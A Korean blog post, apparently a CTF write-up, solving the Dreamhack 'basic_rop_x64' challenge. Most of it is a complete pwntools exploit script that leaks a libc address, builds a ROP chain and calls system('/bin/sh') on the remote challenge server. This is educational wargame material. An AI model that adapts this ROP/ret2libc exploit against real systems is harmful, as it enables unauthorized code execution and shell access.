basic_rop_x64 풀이

2021. 8. 1. 17:20Dreamhack Wargame

728x90

문제 제목
문제 정보
문제에서 주어진 파일
basic_rop_x64.c 소스코드

이번 문제도 basic_rop_x86과 같이 C 소스코드를 제공합니다.

 

코드 자체는 basic_rop_x86과 똑같으니 코드 분석은 생략하도록 하겠습니다.

만약 코드 분석이 보고 싶으신 분들은 아래에 달린 링크로 들어가서 봐주시면 됩니다.

 

[ basic_rop_x86 풀이 ]

 

basic_rop_x86 풀이

문제에서 C 소스코드를 주네요? 분석해보겠습니다. 우선 initialize(), alarm_handler() 함수는 중요해 보이지 않으니 한 줄 해석만 하겠습니다. initialize() : buf 세팅, 30초 후에 alarm_handler() 함수에게..

studykty.tistory.com

 

푸는 방식은 basic_rop_x86과 비슷할 것 같으니, 그때 썼던 코드를 최대한 활용해보겠습니다.

 

우선, x64에서는 함수의 인자들이 스택이 아니라 레지스터리로 전달 된다는 것을 알아야 합니다.

x64에서 인자를 받는 순서는 RDI, RSI, RDX, RCX, R8, R9...입니다.

 

그러면 이제 필요한 가젯을 한 번 찾아보겠습니다.

 

ROPgadget 명령어로 찾아낸 gadget

저기 있는 가젯들 중에서는 마땅히 쓸만한 게 보이지 않는 것 같습니다.

그러므로 rdi ret 가젯이랑 rsi r15 ret 가젯을 섞어서 써보겠습니다.

 

페이로드는 search를 이용해서 /bin/sh를 찾아 넣는 식으로 하려 했지만 그냥 bss 영역에 직접 '/bin/sh\x00\x00' 문자열을 넣어서 system으로 실행시키는 방법을 택했습니다.

 

from pwn import *

context.log_level = 'debug'

p = remote('host1.dreamhack.games', 14259)
libc = ELF("./libc.so.6.ropx64")
e = ELF("./basic_rop_x64")

p_rdi=0x400883
p_rsi_r15=0x400881
write_got=e.got['write']
write_plt=e.plt['write']
read_plt=e.plt['read']
read_got=e.got['read']
main=e.symbols['main']
bss=e.bss()

payload = 'a'* 0x48
payload += p64(p_rdi)
payload += p64(1)
payload += p64(p_rsi_r15)
payload += p64(read_got)
payload += p64(0)
payload += p64(write_plt)

payload+=p64(p_rdi)
payload+=p64(0)
payload+=p64(p_rsi_r15)
payload+=p64(bss+0x200)
payload+=p64(8)
payload+=p64(read_plt)
payload+=p64(main)

p.sendline(payload)

a=p.recv(0x40)
write_addr = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
libc_base = write_addr - libc.symbols['read']
system=libc_base + libc.symbols['system']

p.send('/bin/sh\x00\x00')

payload='a'*0x48
payload+=p64(p_rdi)
payload+=p64(bss+0x200)
payload+=p64(system)

p.send(payload)

p.interactive()

FLAG 획득 완료
문제 풀이 성공

확실히 64bit가 32bit보단 어려운 것 같습니다.

다음번에는 FSB 문제를 풀어봐야겠습니다.

728x90

'Dreamhack Wargame' 카테고리의 다른 글

basic_heap_overflow 풀이  (0) 2021.08.03
basic_exploitation_002 풀이  (0) 2021.08.02
basic_rop_x86 풀이  (0) 2021.07.31
welcome 풀이  (0) 2021.07.22
basic_exploitation_000 풀이  (0) 2021.07.11